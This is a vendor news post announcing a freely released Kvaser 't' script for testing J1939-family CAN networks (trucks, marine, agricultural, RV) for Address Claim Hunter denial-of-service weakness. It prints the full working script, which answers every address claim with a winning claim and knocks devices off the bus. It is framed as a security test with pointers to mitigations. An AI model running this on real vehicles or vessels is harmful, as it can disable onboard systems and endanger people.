News

27/08/2024 by Kvaser

A t script to probe address claim vulnerabilities in SAE J1939, NMEA2000, ISO11783 and RV-C networks

Warwick Control Technologies Ltd. has made a script freely available to test SAE J1939-based networks for their vulnerability to an Address Claim Hunter algorithm attack from a potentially malicious device. The script, developed in Kvaser’s real-time scripting language (referred to as ‘t’), runs on all Kvaser Professional-level CAN interfaces.

Dr. Chris Quigley, managing director of Warwick Control Technologies, wrote a paper last year that was published in CAN in Automation’s magazine exploring this weakness, which may also affect NMEA2000, ISO11783 (ISO-Bus) and RV-C networks. His motivation was to raise awareness of the issue and propose mitigation strategies.

A major advantage of SAE J1939-based protocols is their ‘plug and play’ nature, requiring minimal user setup. This is enabled by the Self-Configurable Address mechanism, where each new device dynamically claims a unique address. If a device cannot claim a unique address, it sends a Cannot Claim Address message and stops network communication. While this feature offers flexibility, it also makes devices vulnerable to Address Claim Hunter attacks, potentially causing a Denial of Service (DoS) and disabling many devices or even the entire network.

The example t script can be found below. Please read Chris’ paper for suggestions on how to protect affected networks, or contact Warwick Control directly for more information.

variables {
  const int channel_1 = 0;
  int   length;
  int   ID;
  int   PGN;
  int   Src;
  int   NumAddClaims = 0;
  byte  AddClmRxdflag = 0;
}

on start {
  canBusOff(channel_1);
  canSetBitrate(channel_1, canBITRATE_250K);
  canSetBusOutputControl(channel_1, canDRIVER_NORMAL);
  canBusOn(channel_1);

  printf ("Started\n");
}



on CanMessage [*] {
    CanMessage msg;
    int i;
  
    ID =  this.id;
    Src = this.id & 0xff;
    PGN = (this.id & 0xffff00) >> 8; 

    if(  (0xeeff == PGN) )
    {
      if(0 == AddClmRxdflag)
      {
          AddClmRxdflag = 1;
        
          printf ("Address Claim Received\n");
      }
    
      msg.id       = (0x18EEFF00 | Src);  
      msg.dlc      = 8;     
      msg.flags    = canMSG_EXT;     

      // load data field with zeroes
      for(i=0; i<8;i++)
      {
        msg.data[i]  = 0;
      }

      canWrite(channel_1,msg);
    }

 
}

// Send ISO request for address claimed
on key 'A' {
    CanMessage msg;
      
    msg.id       = (0x18EAFFFA);  
    msg.dlc      = 3;     
    msg.flags    = canMSG_EXT;
    msg.data[0]  = 0x00;
    msg.data[1]  = 0xEE;
    msg.data[2]  = 0x00;

    canWrite(channel_1,msg);
    
    printf("Key A pressed! ISO Request Address Claimed\n");
}



on stop {
  canBusOff(channel_1);
}